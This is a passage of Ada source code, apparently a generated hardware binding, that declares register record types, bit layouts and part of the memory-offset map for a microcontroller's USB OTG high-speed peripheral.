subtype OTG_HS_GRXSTSR_Peripheral_FRMNUM_Field is HAL.UInt4;
-- OTG_HS Receive status debug read register (peripheral mode mode)
type OTG_HS_GRXSTSR_Peripheral_Register is record
-- Read-only. Endpoint number
EPNUM : OTG_HS_GRXSTSR_Peripheral_EPNUM_Field;
-- Read-only. Byte count
BCNT : OTG_HS_GRXSTSR_Peripheral_BCNT_Field;
-- Read-only. Data PID
DPID : OTG_HS_GRXSTSR_Peripheral_DPID_Field;
-- Read-only. Packet status
PKTSTS : OTG_HS_GRXSTSR_Peripheral_PKTSTS_Field;
-- Read-only. Frame number
FRMNUM : OTG_HS_GRXSTSR_Peripheral_FRMNUM_Field;
-- unspecified
Reserved_25_31 : HAL.UInt7;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRXSTSR_Peripheral_Register use record
EPNUM at 0 range 0 .. 3;
BCNT at 0 range 4 .. 14;
DPID at 0 range 15 .. 16;
PKTSTS at 0 range 17 .. 20;
FRMNUM at 0 range 21 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype OTG_HS_GRXSTSP_Host_CHNUM_Field is HAL.UInt4;
subtype OTG_HS_GRXSTSP_Host_BCNT_Field is HAL.UInt11;
subtype OTG_HS_GRXSTSP_Host_DPID_Field is HAL.UInt2;
subtype OTG_HS_GRXSTSP_Host_PKTSTS_Field is HAL.UInt4;
-- OTG_HS status read and pop register (host mode)
type OTG_HS_GRXSTSP_Host_Register is record
-- Read-only. Channel number
CHNUM : OTG_HS_GRXSTSP_Host_CHNUM_Field;
-- Read-only. Byte count
BCNT : OTG_HS_GRXSTSP_Host_BCNT_Field;
-- Read-only. Data PID
DPID : OTG_HS_GRXSTSP_Host_DPID_Field;
-- Read-only. Packet status
PKTSTS : OTG_HS_GRXSTSP_Host_PKTSTS_Field;
-- unspecified
Reserved_21_31 : HAL.UInt11;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRXSTSP_Host_Register use record
CHNUM at 0 range 0 .. 3;
BCNT at 0 range 4 .. 14;
DPID at 0 range 15 .. 16;
PKTSTS at 0 range 17 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
subtype OTG_HS_GRXSTSP_Peripheral_EPNUM_Field is HAL.UInt4;
subtype OTG_HS_GRXSTSP_Peripheral_BCNT_Field is HAL.UInt11;
subtype OTG_HS_GRXSTSP_Peripheral_DPID_Field is HAL.UInt2;
subtype OTG_HS_GRXSTSP_Peripheral_PKTSTS_Field is HAL.UInt4;
subtype OTG_HS_GRXSTSP_Peripheral_FRMNUM_Field is HAL.UInt4;
-- OTG_HS status read and pop register (peripheral mode)
type OTG_HS_GRXSTSP_Peripheral_Register is record
-- Read-only. Endpoint number
EPNUM : OTG_HS_GRXSTSP_Peripheral_EPNUM_Field;
-- Read-only. Byte count
BCNT : OTG_HS_GRXSTSP_Peripheral_BCNT_Field;
-- Read-only. Data PID
DPID : OTG_HS_GRXSTSP_Peripheral_DPID_Field;
-- Read-only. Packet status
PKTSTS : OTG_HS_GRXSTSP_Peripheral_PKTSTS_Field;
-- Read-only. Frame number
FRMNUM : OTG_HS_GRXSTSP_Peripheral_FRMNUM_Field;
-- unspecified
Reserved_25_31 : HAL.UInt7;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRXSTSP_Peripheral_Register use record
EPNUM at 0 range 0 .. 3;
BCNT at 0 range 4 .. 14;
DPID at 0 range 15 .. 16;
PKTSTS at 0 range 17 .. 20;
FRMNUM at 0 range 21 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype OTG_HS_GRXFSIZ_RXFD_Field is HAL.UInt16;
-- OTG_HS Receive FIFO size register
type OTG_HS_GRXFSIZ_Register is record
-- RxFIFO depth
RXFD : OTG_HS_GRXFSIZ_RXFD_Field := 16#200#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GRXFSIZ_Register use record
RXFD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_GNPTXFSIZ_Host_NPTXFSA_Field is HAL.UInt16;
subtype OTG_HS_GNPTXFSIZ_Host_NPTXFD_Field is HAL.UInt16;
-- OTG_HS nonperiodic transmit FIFO size register (host mode)
type OTG_HS_GNPTXFSIZ_Host_Register is record
-- Nonperiodic transmit RAM start address
NPTXFSA : OTG_HS_GNPTXFSIZ_Host_NPTXFSA_Field := 16#200#;
-- Nonperiodic TxFIFO depth
NPTXFD : OTG_HS_GNPTXFSIZ_Host_NPTXFD_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GNPTXFSIZ_Host_Register use record
NPTXFSA at 0 range 0 .. 15;
NPTXFD at 0 range 16 .. 31;
end record;
subtype OTG_HS_TX0FSIZ_Peripheral_TX0FSA_Field is HAL.UInt16;
subtype OTG_HS_TX0FSIZ_Peripheral_TX0FD_Field is HAL.UInt16;
-- Endpoint 0 transmit FIFO size (peripheral mode)
type OTG_HS_TX0FSIZ_Peripheral_Register is record
-- Endpoint 0 transmit RAM start address
TX0FSA : OTG_HS_TX0FSIZ_Peripheral_TX0FSA_Field := 16#200#;
-- Endpoint 0 TxFIFO depth
TX0FD : OTG_HS_TX0FSIZ_Peripheral_TX0FD_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_TX0FSIZ_Peripheral_Register use record
TX0FSA at 0 range 0 .. 15;
TX0FD at 0 range 16 .. 31;
end record;
subtype OTG_HS_GNPTXSTS_NPTXFSAV_Field is HAL.UInt16;
subtype OTG_HS_GNPTXSTS_NPTQXSAV_Field is HAL.UInt8;
subtype OTG_HS_GNPTXSTS_NPTXQTOP_Field is HAL.UInt7;
-- OTG_HS nonperiodic transmit FIFO/queue status register
type OTG_HS_GNPTXSTS_Register is record
-- Read-only. Nonperiodic TxFIFO space available
NPTXFSAV : OTG_HS_GNPTXSTS_NPTXFSAV_Field;
-- Read-only. Nonperiodic transmit request queue space available
NPTQXSAV : OTG_HS_GNPTXSTS_NPTQXSAV_Field;
-- Read-only. Top of the nonperiodic transmit request queue
NPTXQTOP : OTG_HS_GNPTXSTS_NPTXQTOP_Field;
-- unspecified
Reserved_31_31 : HAL.Bit;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GNPTXSTS_Register use record
NPTXFSAV at 0 range 0 .. 15;
NPTQXSAV at 0 range 16 .. 23;
NPTXQTOP at 0 range 24 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
-- OTG_HS general core configuration register
type OTG_HS_GCCFG_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- Power down
PWRDWN : Boolean := False;
-- Enable I2C bus connection for the external I2C PHY interface
I2CPADEN : Boolean := False;
-- Enable the VBUS sensing device
VBUSASEN : Boolean := False;
-- Enable the VBUS sensing device
VBUSBSEN : Boolean := False;
-- SOF output enable
SOFOUTEN : Boolean := False;
-- VBUS sensing disable option
NOVBUSSENS : Boolean := False;
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_GCCFG_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PWRDWN at 0 range 16 .. 16;
I2CPADEN at 0 range 17 .. 17;
VBUSASEN at 0 range 18 .. 18;
VBUSBSEN at 0 range 19 .. 19;
SOFOUTEN at 0 range 20 .. 20;
NOVBUSSENS at 0 range 21 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
subtype OTG_HS_HPTXFSIZ_PTXSA_Field is HAL.UInt16;
subtype OTG_HS_HPTXFSIZ_PTXFD_Field is HAL.UInt16;
-- OTG_HS Host periodic transmit FIFO size register
type OTG_HS_HPTXFSIZ_Register is record
-- Host periodic TxFIFO start address
PTXSA : OTG_HS_HPTXFSIZ_PTXSA_Field := 16#600#;
-- Host periodic TxFIFO depth
PTXFD : OTG_HS_HPTXFSIZ_PTXFD_Field := 16#200#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HPTXFSIZ_Register use record
PTXSA at 0 range 0 .. 15;
PTXFD at 0 range 16 .. 31;
end record;
subtype OTG_HS_DIEPTXF_INEPTXSA_Field is HAL.UInt16;
subtype OTG_HS_DIEPTXF_INEPTXFD_Field is HAL.UInt16;
-- OTG_HS device IN endpoint transmit FIFO size register
type OTG_HS_DIEPTXF_Register is record
-- IN endpoint FIFOx transmit RAM start address
INEPTXSA : OTG_HS_DIEPTXF_INEPTXSA_Field := 16#400#;
-- IN endpoint TxFIFO depth
INEPTXFD : OTG_HS_DIEPTXF_INEPTXFD_Field := 16#200#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPTXF_Register use record
INEPTXSA at 0 range 0 .. 15;
INEPTXFD at 0 range 16 .. 31;
end record;
subtype OTG_HS_HCFG_FSLSPCS_Field is HAL.UInt2;
-- OTG_HS host configuration register
type OTG_HS_HCFG_Register is record
-- FS/LS PHY clock select
FSLSPCS : OTG_HS_HCFG_FSLSPCS_Field := 16#0#;
-- Read-only. FS- and LS-only support
FSLSS : Boolean := False;
-- unspecified
Reserved_3_31 : HAL.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCFG_Register use record
FSLSPCS at 0 range 0 .. 1;
FSLSS at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
subtype OTG_HS_HFIR_FRIVL_Field is HAL.UInt16;
-- OTG_HS Host frame interval register
type OTG_HS_HFIR_Register is record
-- Frame interval
FRIVL : OTG_HS_HFIR_FRIVL_Field := 16#EA60#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HFIR_Register use record
FRIVL at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_HFNUM_FRNUM_Field is HAL.UInt16;
subtype OTG_HS_HFNUM_FTREM_Field is HAL.UInt16;
-- OTG_HS host frame number/frame time remaining register
type OTG_HS_HFNUM_Register is record
-- Read-only. Frame number
FRNUM : OTG_HS_HFNUM_FRNUM_Field;
-- Read-only. Frame time remaining
FTREM : OTG_HS_HFNUM_FTREM_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HFNUM_Register use record
FRNUM at 0 range 0 .. 15;
FTREM at 0 range 16 .. 31;
end record;
subtype OTG_HS_HPTXSTS_PTXFSAVL_Field is HAL.UInt16;
subtype OTG_HS_HPTXSTS_PTXQSAV_Field is HAL.UInt8;
subtype OTG_HS_HPTXSTS_PTXQTOP_Field is HAL.UInt8;
-- OTG_HS_Host periodic transmit FIFO/queue status register
type OTG_HS_HPTXSTS_Register is record
-- Periodic transmit data FIFO space available
PTXFSAVL : OTG_HS_HPTXSTS_PTXFSAVL_Field := 16#100#;
-- Read-only. Periodic transmit request queue space available
PTXQSAV : OTG_HS_HPTXSTS_PTXQSAV_Field := 16#8#;
-- Read-only. Top of the periodic transmit request queue
PTXQTOP : OTG_HS_HPTXSTS_PTXQTOP_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HPTXSTS_Register use record
PTXFSAVL at 0 range 0 .. 15;
PTXQSAV at 0 range 16 .. 23;
PTXQTOP at 0 range 24 .. 31;
end record;
subtype OTG_HS_HAINT_HAINT_Field is HAL.UInt16;
-- OTG_HS Host all channels interrupt register
type OTG_HS_HAINT_Register is record
-- Read-only. Channel interrupts
HAINT : OTG_HS_HAINT_HAINT_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HAINT_Register use record
HAINT at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_HAINTMSK_HAINTM_Field is HAL.UInt16;
-- OTG_HS host all channels interrupt mask register
type OTG_HS_HAINTMSK_Register is record
-- Channel interrupt mask
HAINTM : OTG_HS_HAINTMSK_HAINTM_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HAINTMSK_Register use record
HAINTM at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_HPRT_PLSTS_Field is HAL.UInt2;
subtype OTG_HS_HPRT_PTCTL_Field is HAL.UInt4;
subtype OTG_HS_HPRT_PSPD_Field is HAL.UInt2;
-- OTG_HS host port control and status register
type OTG_HS_HPRT_Register is record
-- Read-only. Port connect status
PCSTS : Boolean := False;
-- Port connect detected
PCDET : Boolean := False;
-- Port enable
PENA : Boolean := False;
-- Port enable/disable change
PENCHNG : Boolean := False;
-- Read-only. Port overcurrent active
POCA : Boolean := False;
-- Port overcurrent change
POCCHNG : Boolean := False;
-- Port resume
PRES : Boolean := False;
-- Port suspend
PSUSP : Boolean := False;
-- Port reset
PRST : Boolean := False;
-- unspecified
Reserved_9_9 : HAL.Bit := 16#0#;
-- Read-only. Port line status
PLSTS : OTG_HS_HPRT_PLSTS_Field := 16#0#;
-- Port power
PPWR : Boolean := False;
-- Port test control
PTCTL : OTG_HS_HPRT_PTCTL_Field := 16#0#;
-- Read-only. Port speed
PSPD : OTG_HS_HPRT_PSPD_Field := 16#0#;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HPRT_Register use record
PCSTS at 0 range 0 .. 0;
PCDET at 0 range 1 .. 1;
PENA at 0 range 2 .. 2;
PENCHNG at 0 range 3 .. 3;
POCA at 0 range 4 .. 4;
POCCHNG at 0 range 5 .. 5;
PRES at 0 range 6 .. 6;
PSUSP at 0 range 7 .. 7;
PRST at 0 range 8 .. 8;
Reserved_9_9 at 0 range 9 .. 9;
PLSTS at 0 range 10 .. 11;
PPWR at 0 range 12 .. 12;
PTCTL at 0 range 13 .. 16;
PSPD at 0 range 17 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
subtype OTG_HS_HCCHAR_MPSIZ_Field is HAL.UInt11;
subtype OTG_HS_HCCHAR_EPNUM_Field is HAL.UInt4;
subtype OTG_HS_HCCHAR_EPTYP_Field is HAL.UInt2;
subtype OTG_HS_HCCHAR_MC_Field is HAL.UInt2;
subtype OTG_HS_HCCHAR_DAD_Field is HAL.UInt7;
-- OTG_HS host channel-0 characteristics register
type OTG_HS_HCCHAR_Register is record
-- Maximum packet size
MPSIZ : OTG_HS_HCCHAR_MPSIZ_Field := 16#0#;
-- Endpoint number
EPNUM : OTG_HS_HCCHAR_EPNUM_Field := 16#0#;
-- Endpoint direction
EPDIR : Boolean := False;
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Low-speed device
LSDEV : Boolean := False;
-- Endpoint type
EPTYP : OTG_HS_HCCHAR_EPTYP_Field := 16#0#;
-- Multi Count (MC) / Error Count (EC)
MC : OTG_HS_HCCHAR_MC_Field := 16#0#;
-- Device address
DAD : OTG_HS_HCCHAR_DAD_Field := 16#0#;
-- Odd frame
ODDFRM : Boolean := False;
-- Channel disable
CHDIS : Boolean := False;
-- Channel enable
CHENA : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCCHAR_Register use record
MPSIZ at 0 range 0 .. 10;
EPNUM at 0 range 11 .. 14;
EPDIR at 0 range 15 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
LSDEV at 0 range 17 .. 17;
EPTYP at 0 range 18 .. 19;
MC at 0 range 20 .. 21;
DAD at 0 range 22 .. 28;
ODDFRM at 0 range 29 .. 29;
CHDIS at 0 range 30 .. 30;
CHENA at 0 range 31 .. 31;
end record;
subtype OTG_HS_HCSPLT_PRTADDR_Field is HAL.UInt7;
subtype OTG_HS_HCSPLT_HUBADDR_Field is HAL.UInt7;
subtype OTG_HS_HCSPLT_XACTPOS_Field is HAL.UInt2;
-- OTG_HS host channel-0 split control register
type OTG_HS_HCSPLT_Register is record
-- Port address
PRTADDR : OTG_HS_HCSPLT_PRTADDR_Field := 16#0#;
-- Hub address
HUBADDR : OTG_HS_HCSPLT_HUBADDR_Field := 16#0#;
-- XACTPOS
XACTPOS : OTG_HS_HCSPLT_XACTPOS_Field := 16#0#;
-- Do complete split
COMPLSPLT : Boolean := False;
-- unspecified
Reserved_17_30 : HAL.UInt14 := 16#0#;
-- Split enable
SPLITEN : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCSPLT_Register use record
PRTADDR at 0 range 0 .. 6;
HUBADDR at 0 range 7 .. 13;
XACTPOS at 0 range 14 .. 15;
COMPLSPLT at 0 range 16 .. 16;
Reserved_17_30 at 0 range 17 .. 30;
SPLITEN at 0 range 31 .. 31;
end record;
-- OTG_HS host channel-11 interrupt register
type OTG_HS_HCINT_Register is record
-- Transfer completed
XFRC : Boolean := False;
-- Channel halted
CHH : Boolean := False;
-- AHB error
AHBERR : Boolean := False;
-- STALL response received interrupt
STALL : Boolean := False;
-- NAK response received interrupt
NAK : Boolean := False;
-- ACK response received/transmitted interrupt
ACK : Boolean := False;
-- Response received interrupt
NYET : Boolean := False;
-- Transaction error
TXERR : Boolean := False;
-- Babble error
BBERR : Boolean := False;
-- Frame overrun
FRMOR : Boolean := False;
-- Data toggle error
DTERR : Boolean := False;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCINT_Register use record
XFRC at 0 range 0 .. 0;
CHH at 0 range 1 .. 1;
AHBERR at 0 range 2 .. 2;
STALL at 0 range 3 .. 3;
NAK at 0 range 4 .. 4;
ACK at 0 range 5 .. 5;
NYET at 0 range 6 .. 6;
TXERR at 0 range 7 .. 7;
BBERR at 0 range 8 .. 8;
FRMOR at 0 range 9 .. 9;
DTERR at 0 range 10 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- OTG_HS host channel-11 interrupt mask register
type OTG_HS_HCINTMSK_Register is record
-- Transfer completed mask
XFRCM : Boolean := False;
-- Channel halted mask
CHHM : Boolean := False;
-- AHB error
AHBERR : Boolean := False;
-- STALL response received interrupt mask
STALLM : Boolean := False;
-- NAK response received interrupt mask
NAKM : Boolean := False;
-- ACK response received/transmitted interrupt mask
ACKM : Boolean := False;
-- response received interrupt mask
NYET : Boolean := False;
-- Transaction error mask
TXERRM : Boolean := False;
-- Babble error mask
BBERRM : Boolean := False;
-- Frame overrun mask
FRMORM : Boolean := False;
-- Data toggle error mask
DTERRM : Boolean := False;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCINTMSK_Register use record
XFRCM at 0 range 0 .. 0;
CHHM at 0 range 1 .. 1;
AHBERR at 0 range 2 .. 2;
STALLM at 0 range 3 .. 3;
NAKM at 0 range 4 .. 4;
ACKM at 0 range 5 .. 5;
NYET at 0 range 6 .. 6;
TXERRM at 0 range 7 .. 7;
BBERRM at 0 range 8 .. 8;
FRMORM at 0 range 9 .. 9;
DTERRM at 0 range 10 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
subtype OTG_HS_HCTSIZ_XFRSIZ_Field is HAL.UInt19;
subtype OTG_HS_HCTSIZ_PKTCNT_Field is HAL.UInt10;
subtype OTG_HS_HCTSIZ_DPID_Field is HAL.UInt2;
-- OTG_HS host channel-11 transfer size register
type OTG_HS_HCTSIZ_Register is record
-- Transfer size
XFRSIZ : OTG_HS_HCTSIZ_XFRSIZ_Field := 16#0#;
-- Packet count
PKTCNT : OTG_HS_HCTSIZ_PKTCNT_Field := 16#0#;
-- Data PID
DPID : OTG_HS_HCTSIZ_DPID_Field := 16#0#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_HCTSIZ_Register use record
XFRSIZ at 0 range 0 .. 18;
PKTCNT at 0 range 19 .. 28;
DPID at 0 range 29 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
-- Power and clock gating control register
type OTG_HS_PCGCR_Register is record
-- Stop PHY clock
STPPCLK : Boolean := False;
-- Gate HCLK
GATEHCLK : Boolean := False;
-- unspecified
Reserved_2_3 : HAL.UInt2 := 16#0#;
-- PHY suspended
PHYSUSP : Boolean := False;
-- unspecified
Reserved_5_31 : HAL.UInt27 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_PCGCR_Register use record
STPPCLK at 0 range 0 .. 0;
GATEHCLK at 0 range 1 .. 1;
Reserved_2_3 at 0 range 2 .. 3;
PHYSUSP at 0 range 4 .. 4;
Reserved_5_31 at 0 range 5 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- USB on the go high speed
type OTG_HS_DEVICE_Peripheral is record
-- OTG_HS device configuration register
OTG_HS_DCFG : aliased OTG_HS_DCFG_Register;
-- OTG_HS device control register
OTG_HS_DCTL : aliased OTG_HS_DCTL_Register;
-- OTG_HS device status register
OTG_HS_DSTS : aliased OTG_HS_DSTS_Register;
-- OTG_HS device IN endpoint common interrupt mask register
OTG_HS_DIEPMSK : aliased OTG_HS_DIEPMSK_Register;
-- OTG_HS device OUT endpoint common interrupt mask register
OTG_HS_DOEPMSK : aliased OTG_HS_DOEPMSK_Register;
-- OTG_HS device all endpoints interrupt register
OTG_HS_DAINT : aliased OTG_HS_DAINT_Register;
-- OTG_HS all endpoints interrupt mask register
OTG_HS_DAINTMSK : aliased OTG_HS_DAINTMSK_Register;
-- OTG_HS device VBUS discharge time register
OTG_HS_DVBUSDIS : aliased OTG_HS_DVBUSDIS_Register;
-- OTG_HS device VBUS pulsing time register
OTG_HS_DVBUSPULSE : aliased OTG_HS_DVBUSPULSE_Register;
-- OTG_HS Device threshold control register
OTG_HS_DTHRCTL : aliased OTG_HS_DTHRCTL_Register;
-- OTG_HS device IN endpoint FIFO empty interrupt mask register
OTG_HS_DIEPEMPMSK : aliased OTG_HS_DIEPEMPMSK_Register;
-- OTG_HS device each endpoint interrupt register
OTG_HS_DEACHINT : aliased OTG_HS_DEACHINT_Register;
-- OTG_HS device each endpoint interrupt register mask
OTG_HS_DEACHINTMSK : aliased OTG_HS_DEACHINTMSK_Register;
-- OTG_HS device each in endpoint-1 interrupt register
OTG_HS_DIEPEACHMSK1 : aliased OTG_HS_DIEPEACHMSK1_Register;
-- OTG_HS device each OUT endpoint-1 interrupt register
OTG_HS_DOEPEACHMSK1 : aliased OTG_HS_DOEPEACHMSK1_Register;
-- OTG device endpoint-0 control register
OTG_HS_DIEPCTL0 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-0 interrupt register
OTG_HS_DIEPINT0 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device IN endpoint 0 transfer size register
OTG_HS_DIEPTSIZ0 : aliased OTG_HS_DIEPTSIZ0_Register;
-- OTG_HS device endpoint-1 DMA address register
OTG_HS_DIEPDMA1 : aliased HAL.UInt32;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS0 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-1 control register
OTG_HS_DIEPCTL1 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-1 interrupt register
OTG_HS_DIEPINT1 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device endpoint transfer size register
OTG_HS_DIEPTSIZ1 : aliased OTG_HS_DIEPTSIZ_Register;
-- OTG_HS device endpoint-2 DMA address register
OTG_HS_DIEPDMA2 : aliased HAL.UInt32;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS1 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-2 control register
OTG_HS_DIEPCTL2 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-2 interrupt register
OTG_HS_DIEPINT2 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device endpoint transfer size register
OTG_HS_DIEPTSIZ2 : aliased OTG_HS_DIEPTSIZ_Register;
-- OTG_HS device endpoint-3 DMA address register
OTG_HS_DIEPDMA3 : aliased HAL.UInt32;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS2 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-3 control register
OTG_HS_DIEPCTL3 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-3 interrupt register
OTG_HS_DIEPINT3 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device endpoint transfer size register
OTG_HS_DIEPTSIZ3 : aliased OTG_HS_DIEPTSIZ_Register;
-- OTG_HS device endpoint-4 DMA address register
OTG_HS_DIEPDMA4 : aliased HAL.UInt32;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS3 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-4 control register
OTG_HS_DIEPCTL4 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-4 interrupt register
OTG_HS_DIEPINT4 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device endpoint transfer size register
OTG_HS_DIEPTSIZ4 : aliased OTG_HS_DIEPTSIZ_Register;
-- OTG_HS device endpoint-5 DMA address register
OTG_HS_DIEPDMA5 : aliased HAL.UInt32;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS4 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-5 control register
OTG_HS_DIEPCTL5 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-5 interrupt register
OTG_HS_DIEPINT5 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device endpoint transfer size register
OTG_HS_DIEPTSIZ5 : aliased OTG_HS_DIEPTSIZ_Register;
-- OTG_HS device IN endpoint transmit FIFO status register
OTG_HS_DTXFSTS5 : aliased OTG_HS_DTXFSTS_Register;
-- OTG device endpoint-6 control register
OTG_HS_DIEPCTL6 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-6 interrupt register
OTG_HS_DIEPINT6 : aliased OTG_HS_DIEPINT_Register;
-- OTG device endpoint-7 control register
OTG_HS_DIEPCTL7 : aliased OTG_HS_DIEPCTL_Register;
-- OTG device endpoint-7 interrupt register
OTG_HS_DIEPINT7 : aliased OTG_HS_DIEPINT_Register;
-- OTG_HS device control OUT endpoint 0 control register
OTG_HS_DOEPCTL0 : aliased OTG_HS_DOEPCTL0_Register;
-- OTG_HS device endpoint-0 interrupt register
OTG_HS_DOEPINT0 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-1 transfer size register
OTG_HS_DOEPTSIZ0 : aliased OTG_HS_DOEPTSIZ0_Register;
-- OTG device endpoint-1 control register
OTG_HS_DOEPCTL1 : aliased OTG_HS_DOEPCTL_Register;
-- OTG_HS device endpoint-1 interrupt register
OTG_HS_DOEPINT1 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-2 transfer size register
OTG_HS_DOEPTSIZ1 : aliased OTG_HS_DOEPTSIZ_Register;
-- OTG device endpoint-2 control register
OTG_HS_DOEPCTL2 : aliased OTG_HS_DOEPCTL_Register;
-- OTG_HS device endpoint-2 interrupt register
OTG_HS_DOEPINT2 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-3 transfer size register
OTG_HS_DOEPTSIZ2 : aliased OTG_HS_DOEPTSIZ_Register;
-- OTG device endpoint-3 control register
OTG_HS_DOEPCTL3 : aliased OTG_HS_DOEPCTL_Register;
-- OTG_HS device endpoint-3 interrupt register
OTG_HS_DOEPINT3 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-4 transfer size register
OTG_HS_DOEPTSIZ3 : aliased OTG_HS_DOEPTSIZ_Register;
-- OTG_HS device endpoint-4 interrupt register
OTG_HS_DOEPINT4 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-5 transfer size register
OTG_HS_DOEPTSIZ4 : aliased OTG_HS_DOEPTSIZ_Register;
-- OTG_HS device endpoint-5 interrupt register
OTG_HS_DOEPINT5 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-6 interrupt register
OTG_HS_DOEPINT6 : aliased OTG_HS_DOEPINT_Register;
-- OTG_HS device endpoint-7 interrupt register
OTG_HS_DOEPINT7 : aliased OTG_HS_DOEPINT_Register;
end record
with Volatile;
for OTG_HS_DEVICE_Peripheral use record
OTG_HS_DCFG at 16#0# range 0 .. 31;
OTG_HS_DCTL at 16#4# range 0 .. 31;
OTG_HS_DSTS at 16#8# range 0 .. 31;
OTG_HS_DIEPMSK at 16#10# range 0 .. 31;
OTG_HS_DOEPMSK at 16#14# range 0 .. 31;
OTG_HS_DAINT at 16#18# range 0 .. 31;
OTG_HS_DAINTMSK at 16#1C# range 0 .. 31;
OTG_HS_DVBUSDIS at 16#28# range 0 .. 31;
